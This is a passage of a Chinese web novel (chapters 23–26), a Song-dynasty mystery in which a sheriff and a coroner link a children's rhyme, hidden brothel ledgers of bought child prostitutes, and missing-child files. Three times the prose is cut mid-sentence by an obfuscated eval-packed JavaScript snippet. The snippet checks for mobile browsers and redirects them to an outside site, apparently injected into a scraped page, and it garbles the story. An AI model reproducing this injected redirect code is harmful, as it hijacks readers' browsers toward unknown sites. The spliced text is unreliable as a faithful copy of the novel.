“并没有,一条街上都开着门,唯有他家门紧闭。”宋准叹了口气,看到卷到肩膀上的衣袖,便伸手将其解了下来,重新戴好了手袖,又突然想到什么似的,问道,“稚言不会被认出来吧?” “放心,鬼樊楼楼主以前可是专业卧底,不可能被认出来的。”令狐朝对他笑了笑,“走,去吃个午饭吧。” “好。” 23. 周娘娘 染坊巷的巷口有一条南北向的水渠,水渠边上有不少餐馆小摊,都是为干活的人提供的,价廉味美的餐食,卖相算不得特别好,能饱腹,能省下钱补贴家用,就够了。 令狐朝与宋准二人到饭铺里坐下,要了两碗插肉面,掌柜应了声“得嘞”,就去后厨里忙活去了。此时饭点刚过,铺子里没几个人了,剩下那几位客人也都急着回去干活,没人注意到他们。 “面来喽。”掌柜端着面送来,又送来一小碟腌菜,“腌菜是小店送的,二位慢用。” 宋准微微颔首道:“多谢。”掌柜也对他笑笑,转身回柜台后面算账去了,翻着账本,将算盘打得噼啪响。 吃完了面,结账离开饭铺,二人沿着水渠向染坊巷走,在石桥边的榕树下有一群孩子在玩儿,不知道玩的什么,都笑得开怀,一会儿又开始绕着榕树追逐打闹着,还念着什么顺口溜。 一开始宋准并未注意那些孩子唱的什么,直到听到一句什么什么周娘娘,才突然警觉起来,拉住令狐朝的袖子说:“那些孩子唱的童谣,怎么也有什么周娘娘?” 令狐朝也听见了,低头看了一眼宋准拉住自己袖子的手,轻轻往回拽拽,让他松开。 “听见了,他们唱的不太清楚,去问问他们唱的究竟是什么。”令狐朝说。 宋准摸了摸身上,没找到什么糖块儿之类哄孩子的玩意儿,看到边上有卖梨膏糖的,便去买了一小包,走到那些孩子边上问:“孩子们,你们唱的是什么歌呀?” 那几个孩子回头瞧他,一个个头最小的孩子说:“周娘娘呀。” “周娘娘是谁?”宋准又问,见那些孩子开始好奇地打量他,便拿出那小包梨膏糖来分给他们,孩子见了零嘴儿总是立刻就跟人热络起来,不多时,就把他们唱的歌里的故事都给宋准讲了个清楚。 那歌词里唱的是:“柳树抽新叶,山下雨纷纷,娘娘提灯寻清明,立春的铃铛谷雨的簪,廊下燕子归来时,角木蛟盘在东城门,翼火蛇游在南河深,摇啊摇到小满船,周娘娘折柳引归程。” 待那些孩子说完了,宋准便同他们告了别,走到令狐朝身侧,说:“原来周娘娘是娘娘山的山神。孩子们说,周娘娘会庇护找不到家的孩子,要是找不到家,就可以去拜周娘娘,歌词里唱的是用自己的贴身物件去求,无论人在哪里,周娘娘都会带他们回家。” “听起来是个很好的神。”令狐朝说,“我也想去拜拜。” “啊?”令狐朝不带任何情绪的话让宋准有些摸不着头脑,一时不知道该怎么应答。 令狐朝这时说:“去娘娘山看看,可能会有线索。” “是这个意思啊……”宋准心里想着,松了口气。 于是立刻答应着:“好,我去牵马。” 娘娘山在临安城东北,约莫四十里路,骑马过去需半个时辰,二人一路上都没怎么说话,气氛多少有些紧张,等到了山脚下,才略微缓和下来。 娘娘山并不算高,问了个过路的乡亲,知道在山顶上确实有座娘娘庙,骑马不好下山,便将马拴在了山下,二人徒步上山。 走到半山腰时,令狐朝就有些体力不支,喘着粗气跟在宋准身后,额头上渗出一层汗,山上树高草密,也没什么风,只看见从树叶间隙中穿过的几束日光。 宋准察觉到身后越来越频繁的喘气,回头去看,只见令狐朝双手叉在腰上支撑着身体,十分艰难地往上走,大喘着气,脸色有些苍白。 “令狐兄?你怎么样?”宋准忙走到他身边搀扶住他,伸手擦去他额上的汗,“若实在不适就在此处等我,我上去查看完很快就回来。” 令狐朝摆摆手,摇了摇头喘口气说:“无妨,你刚买的糖还有吗?给我一块儿。” “还有还有。”宋准说着,立刻从怀里掏出糖来递给他,他接过一块儿含在嘴里,说:“走吧,我还可以。” 宋准还是有些不放心,搀着他的手还没松开,令狐朝轻轻推开了他的手,“没事儿,你不用搀着我,别人碰我我身上起鸡皮疙瘩。”说完他对着山上扬了扬下巴,“走吧,我还可以。” 宋准点了点头,退了几步走在了令狐朝身后:“那令狐兄走前面,我好照看着。” 令狐朝又笑了笑,没再说什么,转身向上走。 又再爬了一炷香的时间,终于见到了隐匿在树间的一座牌坊,走近了看,两侧柱子与匾额上皆有字,字型是狭长的菱形,笔画多为撇和捺,并不是常见的文字,更不是之前见过的契丹文或西夏文。 令狐朝看了看说:“这是女书。” “女书?”宋准不解,问道,“是女子书写的?这些字是什么意思?” “女书是由女子创造出来的文字,只在女子之间相传。据说这样狭长的字型,是无法上学的女子躲在学堂外透过窗棱看见的书上的字,因为角度太斜,看不完全,她们就将那些字模仿下来,渐渐形成了女书。但我只是听说过,并不能看懂上面的意思。” 宋准摸了摸那侧面的字,手指划过那些细长的笔画,只觉得有些难以理解,仅仅因为无法上学,就自己创造出了新的文字来吗? 令狐朝已经在接着向上走,到了这牌坊,离庙门便不远了,他回头喊宋准跟上,宋准应了一声,小跑了几步跟上。 越往上走林子越稀,也有风吹过来了,令狐朝的额发被吹到了眼睛上,他伸手去拨,抬头一看,红墙黑瓦的娘娘庙就在不远处。 走到庙门前,门是开着的,里面隐隐传出香火气味,门上的匾额用汉文写着“慈佑归途”,两侧对联写着“星分翼角护千童,节转清明悬一灯”。 宋准辨认出那上面的字,便知道是找对了地方。 这庙里不大,庙门进去是一方小院,不过也就十几步见方,正对着的大殿里有一尊石像,光线太暗看不清模样,两侧是两排厢房,门是紧闭着的,能看见厢房后面有一棵老树,系着不少红布条,想来都是香客所挂。 走近大殿里,就看见一旁的桌前坐着一位头发花白的老妪,见到有人进来,老妪缓慢抬起头看了他们一眼,又低下头忙活手上的东西。 那尊石像是一位非常温润慈祥的女子形象,服饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509385|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是唐制的样式,手里提着一盏灯,微微颔首看向下方上香的人,目光柔和慈爱,就像是母亲看着自己的孩子一样。 令狐朝十分虔诚地跪下,双手合十于额前,垂眸闭眼了半晌,好像真的在求什么,宋准见状也跪下拜了拜,求的却是早日破案。 一直没作声的老妪突然开口道:“二位可要上几柱香吗?” 那声音有些哑,却是十分温柔,像是在对自己的孩子说话似的,宋准起身走到桌前问:“阿婆,您的香是怎么卖的?” 老妪笑着摆摆手说:“不要钱,来拜周娘娘的孩子,都会受到娘娘庇佑的。” 说完她拿起三柱香递给宋准,又另拿了三柱说:“你们一人三柱,上过香,等香燃尽了再走,啊。” “多谢阿婆。”宋准接过香应道。 香案上有几盏烛火,宋准点了香,插进了面前的香炉里,心里想着若周娘娘真的灵验,就让那孩子尽快找到父母接她的尸首回家,也算抚慰孩子在天之灵。 在等着香燃尽的时候,宋准便与那老妪聊了几句,她说她是娘娘庙的守门人,和自己收养的几个孩子住在庙里,孩子们下山念书去了,她在庙里守着。 “阿婆,您可知下面那座牌坊上的女书写的是什么?”令狐朝问道。 老妪摆摆手,宋准问:“您也不知?” “不,女书的内容不能告诉男子,否则为何称女书?”老妪慢悠悠地说。 宋准叹了口气,但也理解其中的缘故,便又问:“好吧,那您可否说说这娘娘庙的来历?周娘娘是何方的神?” 老妪听他问起这个,有些浑浊的眼里似乎焕发了些光彩,她递给宋准和令狐朝一人一枚绣着桃花的香囊,还是那样缓缓地说:“周娘娘啊,是一名非常伟大的女子,她在幼时被人牙子拐离家乡,卖到了大山里给人做童养媳,她拼了命地往外逃,还是会被抓回去,用铁链锁上,挨一顿毒打。” 令狐朝听到这里就皱起了眉,后面的故事他几乎可以想见,没有办法逃脱的女子,只能留在夫家,不停地生孩子。 老妪接下来说的和他所想的相差无几,周娘娘生下两个女孩后,被嫌弃是不能传宗接代的扫把星,为了保住小女儿,只能忍痛将已经会说话干活的大女儿卖给人牙子,但她在夫家的处境仍未改变,于是她又一次尝试带着女儿一同逃命。 “这次可逃出去了吗?”宋准问。 “逃出去了,周娘娘在路上,又遇到了许多同她一样的女子,她们找到了一处桃花源,在里面开垦田地,种植庄稼,收养了许多无家可归的孩子和从夫家逃出来的女子,周娘娘为她们搭建屋舍,教她们读书认字,上天为此动容,让周娘娘成了仙。” 老妪说到这里时,已经有些热泪盈眶,“周娘娘会庇佑天下所有的孩子,让他们在更好的家里过上更好的生活,离家再远的孩子,拜过周娘娘,都能找到故乡。” 来自林间的一股风穿堂而过,带着草木的香气,绕着宋准和令狐朝盘旋了一圈,额发掠过脸侧,有些痒痒的,老妪笑着说:“周娘娘会庇佑你们的。” 24. 游子归乡 香已燃尽,老妪看看宋准和令狐朝,说:“香囊上所绣的桃花是桃花源的象征,每位香客来,我都会赠予她们,若有见到找不到家的孩子,就帮帮他们。” 宋准低头看了看那香囊,点点头说:“好,多谢您。” 令狐朝在一侧也点头示意,与老妪告别后,二人匆忙赶下山,此时已近黄昏,不知能不能在织坊下工前赶回城里。 一路上快马加鞭,令狐朝身量轻,若不是坐在前面,都要被马颠飞了出去,最后好歹是在戌时前到了城门口,城中不能骑快马,便只能让马走着,走了一刻多时,才终于到了染坊巷。 这会儿正是下工的时候,已经与柳晏说好在巷口石桥处见,却迟迟不见他的身影。 “不会是出什么事儿了吧?”宋准十分担心,说着就要往织坊去,被令狐朝一把拽住了,他指指远处漆黑的巷子里,那里有一个影子慢慢向他们这边来了,走出了黑巷子,正是柳晏。 柳晏也瞧见他们了,快走了几步赶过来,拉上他们就走,不发一语,直到一路走到了吟兰苑后街,打开角门将他们二人推了进去,才如释重负一般长舒一口气。 “到底怎么了稚言,一路上一句话也不说。”令狐朝十分疑惑地问他,抬手探到他的脉,说,“哪儿不舒服吗?也没有啊。” 柳晏像是浑身卸了力似的,摆了摆手,说:“累死我了,干一天活。” “打听到什么了吗?”宋准问。 “先回去,让我躺下再说,腰都要断了。”柳晏捶着背快步往前走,一进他自己的房间,就一头扑倒在被子里,随手将发髻散开,解下了颈间的丝带。 宋准和令狐朝紧随其后进屋,关上门坐在了窗边的矮塌上,柳晏趴了一会儿,翻身坐起说:“那些姐姐人都挺好的,我没看见什么不对劲的人,但她们似乎都对坊主一无所知呢。” “怎么个一无所知,是男是女长什么模样也不知?”宋准问道。 柳晏说:“噢,那倒是知道。坊主也是个女子,个头不高,相貌平平,但却是个踏实手巧又好心的人。” “能画出来吗?”令狐朝说着就从怀里掏出记簿和笔来,走到榻边递给他,“把你今天见到的织坊里的人都画下来。” “把我当驴使啊?又是卧底又是画像,你的工钱也不见分我一文。”柳晏嘴上埋怨着,却也接过记簿来画着那些女工的模样,不多时,七八名女子的样貌跃然纸上,栩栩如生。 他还在每张画像下写了她们的名字,圆圆脸大眼睛的叫夏莲,丹凤眼高鼻梁的叫宜男,厚嘴唇的叫淑娘,鹅蛋脸的叫腊梅,还有几个都像李三娘一般按家中排行称名,唤作二娘,五妹,幺妹。 宋准翻了翻那些画像道:“这案若破了,我这月的俸禄分一半给你。” “宋县尉此话当真?”柳晏一挑眉,换姿势跪坐在榻上凑近他们二人,闻了闻这个,又闻了闻那个,摇摇头说,“一个从八品小县尉,一个杂役小仵作,身上一丝铜臭味都没有,你们俩的月俸加起来可能都没我唱两天曲儿拿的赏钱多。嗯,还是算啦,看在晦言的份儿上,我愿意给你们白干活儿。” 柳晏说的虽不大好听,但也确实是实话,宋准的月俸不过十二贯,令狐朝在衙门里属于杂役,每月也就两三贯,加上每次的公使钱,也就刚够温饱,若不是从前师父留给他一些财产,在临安县里生活都困难,而柳晏唱首曲子就三四百文,还不算那些达官贵人另给的打赏,自然说得出这番话。 “柳老板真是好生阔气,不知今日做工挣得几钱?”令狐朝伸手摁住了他的脑袋,把他摁回了榻上跪好。 柳晏解下了后腰的钱袋,解开倒在榻上说:“喏,就这些。” 一百多个铜钱。 “旁的女工一日所得几何?”令狐朝问。 “都是二百多文,做的又好又快的可得三百文。” 宋准想到那个李三娘,便又问他:“李三娘呢?” “她就是能得三百文的那个,你们不知道,李三娘一日能织得五匹锦,我都怀疑她和其他人用的是不是同一种织机。”柳晏说起李三娘,像是见到什么不得了的东西,开始滔滔不绝,“她家里两个女儿两个儿子,大女儿许给了城北卖豆腐的,明年就出阁了,二女儿在做绣娘,大儿子在学堂念书等着考秀才,小儿子还是个小屁孩儿。” 说到这儿,柳晏停顿了一下,看着他们二人说:“但是,李三娘家的日子还是过得很紧张,仿佛是她男人不怎么务正业,养家糊口全靠李三娘在织坊织布,她男人还时常问她要钱,简直太不是人了,要我说,还不如带着孩子跑了算了。” 宋准摇了摇头说:“不行的,律法不允许女子向丈夫提出和离,若她真的直接跑了,被人骂不守妇道都是轻的,可能还会被控背夫逃亡,要徒两年。除非构成了义绝,由官府直接判离,否则……” 义绝是若夫妻双方对对方家族犯有严重罪行,或者丈夫因“十恶”重罪入狱,官府才可直接判离,其他情况下,则只有夫休妻或者和离,而不许妻子背离丈夫。 “哪个混蛋写的律法?不把女子当人看吗?”柳晏瞬间暴起,声音高了几倍,话音刚落便被宋准捂住了嘴,他压低了声音道:“稚言,人多耳杂,此话不能乱讲!小心被人捉到把柄。” 柳晏挣扎了几下,最后只无奈地点点头。 宋准放开了他,说:“这世道对女子是多有不公,平日里自己知道,尽力给她们行些方便,莫要人云亦云出言中伤那些女子。但还是不要妄议律法,被人抓住了把柄恐扣个欺君叛国大逆不道之名给你。” “除了这些,你有没有听到她们唱的那首歌?”令狐朝突然问道,柳晏说:“听到了,我倒是也问了那歌是什么意思,她们说是随意唱着玩儿的,我也不好再追问下去。” “那你接下来几日还是接着去吧,我会在附近守着,若是坊主回来了,就把她带去问话。”宋准说。 柳晏露出一副绝望的神情,但还是点了点头,又趴下把头埋在了被子里。 这时外面有人叩门,喊道:“楼主,这有几本账簿请您过目。” 柳晏立刻端坐起身,问了句:“什么账簿?哪儿来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509386|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来吧。” 外面的人道了声是,推门进来说:“回楼主的话,是从前老鸨的遗物,这几日我等在整理从前吟兰苑的账册,发现老鸨的衣柜夹层中有这几本账簿,里面的内容有些不明,我等不敢妄自处置,还请您来给个示下。” 来人看着还是十几岁的少年模样,不过浓眉大眼肤色白净,也是个生得漂亮的,他说话的声音也有些青涩,行完礼抬头瞧见了站在榻边的令狐朝,眼中的欣喜之色一闪而过,又对令狐朝略微一颔首。 他将那几本账簿递到柳晏手上,态度看着十分恭敬,宋准在一旁看着有些惊讶,柳晏方才和这人说话的语气那样冷淡,不带一丝情绪,面上的表情也是一副肃杀之相,全然不像与他和令狐朝二人说话的模样。 “除了这几本账簿,还有别的东西吗?”柳晏又问。 “没有了,其他都是些普通的物件,已经按照您说的处置了,就这些账簿挺蹊跷。” “行,那账簿先留在我这里,你去忙你的吧。” “是,属下告退。” 那人甫一离开,柳晏就又倒在了榻上,闷声说:“晦言,你帮我瞧瞧这个账簿吧。” 令狐朝接过那账簿,看也没看就顺手就递给了宋准,说:“我不会看账,让惟衡来。刚才那个是白兔?” “是啊,长高了不少吧,你走的时候他才十岁,天天追在我屁股后面问晦言去哪儿了。可是我怎么知道呢?就只能说,晦言已经死了,然后抱着他一起哭。”柳晏话中有些怨气,坐起身对着令狐朝撇了撇嘴。 “嗯…要不你把他叫回来说几句话吧。”令狐朝道。 “要吗?你现在心里想着的是我,还是白兔?”柳晏起身凑近了他,把下巴搭在了他抱在胸前的胳膊上,微笑着看他。 令狐朝抽出手,把他摁回榻上,一字一顿地说:“谁,也,没,想!你每天能不能正经一点儿?刚才摆架子的时候不是摆得很像吗?” “是,但那是对他们,你是我这辈子最爱的人,你不一样的,我这条命都可以给你的。”柳晏说着就拉着令狐朝的手掐上自己的喉咙,那双漂亮的桃花眼盯着他,缓缓说,“只要你想,我也愿意死在你的手里……” 宋准在一旁打断了他的话:“呃……稚言你等会儿再说这些,这个账本里记的好像是买雏伎的开支。” “什么?买雏伎?”柳晏瞪大了双眼,他没想到老鸨手里还真有这种生意,还把账本藏在衣柜夹层里,这得是多见不得光的交易。 “你看,这做账本的手法和从前世家贵族做密账的方式一样,这写的就是从外面买雏伎的记录,还有伎子接客的入账,包括其初夜拍卖出的价格。”宋准将那些记录一条条指给柳晏看,按照账本的记录,自老鸨掌管吟兰苑以来,买来的雏伎已经有四五十人。 柳晏放下令狐朝的手,接过账簿,皱着眉仔细查看着,说:“这好些名字我都没听过,也没在楼里见过这些姑娘,她们被买来,接完客又去了哪儿?” “有没有可能是接完客再一次被买走?去了别的地方?”令狐朝说。 25. 雏伎 紧闭着的门外传来隐隐约约的悠扬乐声,屋内静若寒蝉,三人面面相觑,一时竟都没有说出话来,又安静了许久,柳晏才缓缓开口。 “我原以为这楼里的生意挺干净的……” 令狐朝翻了个白眼儿,歪头看着他的脸说:“柳老板,您这儿可是青楼啊,姑娘们全都卖艺不卖身吗?” 柳晏瞪着眼睛争辩:“那当然了,这儿是雅楼,不是市井瓦舍,干干净净的生意,都是卖艺过活的,卖身是抬不了价的,谁知道老鸨敢这样搞啊?” “你之前在这儿两个月,从来没听过有姑娘在卖身吗?”令狐朝又问。 “自然没有了,连我都是唱曲儿挣钱的,那些文人雅士,都自诩清高风流,要留风骨在人间呢。再说了,一人就两三贯的花茶费还想做这种生意,做梦呢?你看着那些姑娘个个年轻漂亮,你怎么忍心让她们陪那些老男人睡觉?掉钱眼儿里了挣钱也不是这样挣的。” 柳晏气得说了一大连串,嘴皮子上下翻飞快得有几句宋准都没听清楚,说完这些,他从榻上下来,拉着令狐朝走到门外,对着中间的天井用女声高声喊了一句:“姑娘们!都出来一下!” 陆陆续续地,有不少姑娘都从栏杆上探出头来瞧,有些手上还抱着琵琶胡琴,拿着手鼓,都七嘴八舌地问:“怎么了小蛮姐姐?” “你们都在干什么呢?” “唱曲儿呀。”“跳舞呢。” “对赋呀姐姐,秦公子今日作了首极好的词……姐妹们都来瞧瞧。” 那个说在对赋的姑娘话音落,和她在同一层的姑娘们都凑过去看那首词,发出连连赞叹,有个穿长衫戴东坡巾的男子在边儿上十分得意,脸上还染了些红晕。 “好了,都回去吧。”柳晏说完,看着姑娘们都散了,才又拽着令狐朝进了屋,露出一副“我就跟你说了你还不信”的表情看着他。 令狐朝笑了笑,说:“好了好了,是我错怪了,那既然这样,老鸨是不是有别的地方做这些生意?毕竟,总不能在野地里吧。” 宋准这时拿着那些账簿走到他们身边,翻开其中一页说:“不错,这上面写得挺清楚的,雏伎都是在三槐堂买的,交易地点也是在三槐堂。” “什么?”柳晏很是震惊,拿过那账簿看了又看,问,“你是怎么看出来的?” 宋准很是平常地说:“这就是从前的士族做密账所用的方法,幼时母亲管家中账目,教过我一些皮毛,你若想学的话,我教给你也无不可。” 说完他又拿出剩下的几本,一一指给他看:“你瞧,这一本里是买入的支出,这一本是接客所得,这一本是预估的价格和其被拍卖的价格,包括净利润都写得清楚。” 令狐朝也接过了一本拿在手里翻看,在书脊上发现了一个暗纹,于是拿到灯下照,看清之后立刻招呼他们二人过来:“来看,这个暗纹,和那个女童所戴的长命锁的纹样一样。” 他又从怀中拿出自己的记簿,翻到他临下来的纹样递给他们,果然完全一致。 “难道说,那个女童是被他们养起来的雏伎?”宋准不禁问出这一句,随后自己都倒吸了一口凉气,一个不过七八岁的孩童,就已经被卖到了这里吗? 令狐朝说:“如果是你猜测的这样,那长命锁很有可能就是一个用来标记被卖女童的工具。” 宋准立刻拍案暴起,十分气愤地吼道:“须得立刻通缉三槐堂的老板,织坊那边稚言继续去盯着,坊主多半也脱不了干系。” “你先冷静冷静,年轻人不要这么急躁。文书早已经发给了周边各州县,想来他们也逃不掉。”令狐朝轻轻拍了拍他的后背,又将手里的账本递给柳晏,“你明日再从那些女工那儿套套话,看看能不能问出点什么。” 柳晏点了点头,走到窗边坐在矮榻上,打开了一扇窗,趴在窗台上往外看,乐声大了些,前厅的伎子们在唱曲儿,胡琴和琵琶的声音被微风送来窗边,平添了几分意趣,若屋里不是这样的氛围的话。 宋准紧紧皱着眉头思索着,良久,他开口道:“三槐堂从哪来的这么些孩子?总不能都是被父母卖来的吧,肯定也有拐来的,孩子父母定会来报官,那么架阁库里肯定会有案子的卷宗,我现在就去查查看有没有线索!” 说完他拿了账本就夺门而出,全然不理会令狐朝还在身后唤他,他似乎说了句什么,但被门外的乐声掩盖,湮没在了风中。 县衙已经关了门,宋准又将其叩开,守夜的衙役打着哈欠替他打开了架阁库的门,递给他一盏灯:“县尉小心烛火,用这个琉璃罩将其罩住安全些,也不会晃眼。” “好,多谢。”宋准接过那盏灯,举着去找和孩童丢失相关的卷宗。 架阁库内的卷宗均按首字千字文的顺序排列整理,知道案名的话找起来并不费劲,孩童丢失案基本都在一处,全拿出来竟有十几卷之多,早到几年前,晚至宋准上任前几月,在书案上摞起厚厚的一沓。 据这些案宗的记录,孩子的父母基本是在发现孩子丢失后的第二天或第三天才来报案,这时基本上已经发动所有亲戚朋友找寻了一遍,皆无所获时才会报官,而官府在这时也查不出什么结果,卷宗里皆附有丢失孩子的画像与姓名,宋准看着看着便发现了有些不对。 “清明、春妹、小荷、秋生……”宋准一一念出那些名字,脑中回响的却是那日在石桥榕树下听到的孩童所唱的歌谣。 “娘娘提灯寻清明,立春的铃铛谷雨的簪……摇啊摇到小满船,周娘娘折柳引归程。” 平民百姓多以时节节气为孩子取名,孩童们也常用节气编歌谣来唱,初听时只知道与周娘娘有关,却不想其中竟暗藏了丢失孩童的名字。 丢失孩童的名字为何会在歌谣里? 是谁编的这些歌谣? 这样做的目的是什么? 线索像蛛网一样展开,但网越大,向外伸出与中间联系的蛛丝就越多,所触及到未知的领域也越多,哪条将要用尽,哪条可能断裂,处在蛛网中心的蜘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509387|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛛,要如何才能知道得清楚? 仔细对比了卷宗里报案的时间与密账里交易的时间,有几个时间高度重合的,家人发现孩子丢失后的三日到五日左右,账本里就会有一名特征很相似的孩童被卖出。 那些未了结的卷宗都是前县尉在任时留下的,因为多番查证也无果,最后只能不了了之,但现在有了线索,就不能不将其重新立案处理。 整理完了这些卷宗,已经快到四更天了,今夜夜空十分晴朗,从架阁库里出来就能瞧见满天的星星,银河横亘在其中,让人不禁感慨天地浩大,人如蝼蚁。 宋准回到县廨,刚要开门就觉得身后有一黑影一闪而过,下意识地回头去看,问了声:“谁?!” 黑影躲在一棵树后,念戏文似的说:“哇呀呀呀呀呀,吾乃~夜游神,经过此地,瞧你深~夜不休,鬼~鬼祟祟,是有难解之事否?说与吾听,吾可助你一~臂之力!” “稚言,别装神弄鬼的,出来!”那音色虽然被刻意变过,但宋准仍听得出是柳晏,他平日里又爱搞这些莫名其妙的东西,上次装□□,这次装夜游神,也不知道是有什么事儿要说。 “呔!不得无礼!稚言是何人?吾乃夜游~啊啊啊啊啊松、松手松手,衣服要破了……” 被宋准拽住衣服扯出来了,旁边还有一人笑得开怀,不用看也知道是令狐朝。 “都快四更天了,你们怎么这个时候来了?” 令狐朝白了他一眼,道:“你也知道快四更天了?话也不听人说完就跑,来看看你有什么进展,我也好放心回去睡觉。” 他的话音一落,柳晏就继续用念白似的调调唱道:“此乃夜~游神赐予你的尚~方宝佩,保你~一生平安。” 他一边唱着,还一边像变戏法儿似的将玉佩拿在手上做法三圈,而后递到了宋准面前。 宋准一看见那玉佩,瞬间愣住,伸手往腰间摸了摸,空无一物。 原来那正是自己的东西,是方才走的急,落在了吟兰苑里,令狐朝那时叫他,原是要告诉他玉佩掉了。 “啊!多谢!”宋准赶忙接过,很是珍重地将其放回了衣襟里,解释道,“这玉佩是我离家时母亲为我系上的,确实也是为保平安所用,若是真的丢失了我都不知该如何是好。” 令狐朝笑着拍拍他的肩膀说:“所以说年轻人不要这么急躁,欲速则不达。” “哈哈,惟衡,你瞧我待你这样好,改日是不是该再请我吃一次云香坊的桂花糕啊?”柳晏将脸凑近了,眨巴着眼睛看他。 月光下,那双含笑的桃花眼里映出了宋准手上的灯火,十分漂亮。 “那是自然,这些日子你帮了我不少忙,等此案告破,我请你们去醉欢阁吃饭如何?” 醉欢阁是临安县里最大的酒楼,此前城中的富商设宴就在那里,菜式新颖别致,口味也很独特,就连楼里面的摆设也都是请了极好的匠人专门制作的。 柳晏又眨了眨眼说:“你可要说话算数哦。” 26.坊主 在天还未完全醒来时,早市上就已经挤满了人,推着独轮车的卖鱼郎在拥挤的人群里险些翻了车,车上刚捕捞的新鲜鲫鱼活蹦乱跳,差点跳到旁边徽州货郎的竹笋担子里去。 令狐朝起了个大早,到集市上买些鱼虾——他一向爱吃这些水里游的食物,鲫鱼炖汤做羹极鲜,鲈鱼制脍堪称珍品,鳜鱼清蒸肉质弹牙,河虾清甜,醉蟹酒香浓郁,若是运气好能钓得一条鲥鱼,不刮鳞直接以酒蒸之,香飘十里。 逛了许久,买到半篓河虾和几条黄鱼,卖鱼的大婶儿又送了他一两紫苏叶,满意而归。 吟兰苑里的热闹随月亮一同落幕了,今日还要去织坊上工,柳晏昨夜一回去就睡下了,现下正扮作小蛮的模样从角门里钻出去。 斑鸠的叫声在潮湿的空气里回荡着,染坊巷已经忙碌起来,水渠边上卖炊饼的大叔掀开热气腾腾的蒸笼,客人都围了上来。 “给我也来两个。”柳晏挤在人群中喊道。 “好嘞!姑娘拿好。”大叔将炊饼递给他,立刻忙着拿下一位客人的。 路上慢悠悠地啃着炊饼,刚晃到了织坊门口,柳晏就看到院中有一个生面孔。 那是一个看起来三十多岁的妇人,体态圆润,穿着一身青色襦裙和长褙子,梳着个朝天髻,戴了素银簪子和绢花,正在和其他女工说话。 只一眼,柳晏心里就觉得那必然是坊主,须得赶紧告诉宋准和令狐朝才行。 城中有不少鬼樊的信鸽,但身上没有纸笔,即使叫了信鸽也无用,他趁没人发现,走回了水渠的石桥旁,果然看到几个孩子在那儿玩耍。 “小孩儿,小孩儿。”柳晏叫他们,“来,去衙门帮姐姐叫宋县尉来好不好?就说…就说小蛮叫他来织坊。” 说完他拿出几枚铜钱来给了他们:“跑腿费,去了宋县尉还给你们糖吃呢,快去。” 那几个小孩儿答应着,拿着铜钱十分高兴地一蹦一跳地走了,柳晏这才返回织坊去。 县衙门口,宋准正要往进走,他昨夜没怎么睡好,眼下两块乌青,想着今日点完卯巡了市集再去架阁库整理一下卷宗,前脚刚迈进门,就听见后面一群孩子的声音。 “宋县尉!你是宋县尉吗?” 宋准回身去瞧,三五个孩子站在台阶下也在打量他。 他走下台阶问:“我是县尉宋准,你们有什么事儿呀?” 里面看着最小的一个女孩子说:“有个很漂亮的姐姐让我们跟你说,小蛮叫你去织坊,还说你会给我们糖吃呢。” 宋准刚心想柳晏又在搞什么鬼,但是只一瞬,就立刻反应过来一定是坊主回来了,他不便离开,也不便用信鸽,只能让小孩子来传信儿。 想明白这些,他便给孩子们说:“孩子们,你们在这儿等我片刻,我进去点个卯就随你们去,好不好?” “好!”孩子们异口同声答应着,看宋准进去了,都围到了石狮子边上摸狮子脚下的小狮子,嬉笑着唱童谣。 宋准叫上了陈捕快,两人一同赶往织坊,孩子们蹦蹦跳跳地跑在前面,瞧着颇有趣。 路过卖糖的小摊,宋准买了些糖来分给那些孩子们,嘱咐道:“天气暖和起来了,可不能去城外的河边玩水啊。” 孩子们脆生生地应是,随后同他告别跑走了。 顺着染坊巷走进去,织坊就在最深处的位置,平日里织坊的布织完顺着巷子送出到靠外侧的染坊,再由染坊送出巷子,形成了很流畅的动线,女工们辰时上工,戌时下工,工时很长,但收入不少,因此大家也愿意多做一些时间。 宋准和陈捕头走到织坊门口,向门里望去,院子里只有几个在淘洗生丝的女工,正想进门去,就看到有一身材圆润的妇人从一间房门内出来,在看到宋准的一瞬间,脸上笑着的表情僵了一瞬,飞快地退回屋内,宋准只看见了一闪而过的裙边。 “坊主在吗?”宋准问道。 那几个女工抬起头来看他,其中一个指了指屋内说:“在屋里呢。”圆圆脸大眼睛,是那个叫夏莲的姑娘。 她说完又冲屋内叫了声:“坊主姐姐,县尉找。” 坊主应了一声,笑着迎出来说着:“原来是县尉啊,有失远迎,有失远迎,不知县尉来我这织坊是有何事?” 宋准迈进门,问:“坊主前几日回乡探亲去了?” “哎,是,过年时生了场病实在赶不了远路,前些日子身子好了,便回去看看。”坊主脸上带着疏离的笑,手上拿了条手绢捂在嘴边轻咳了一声。 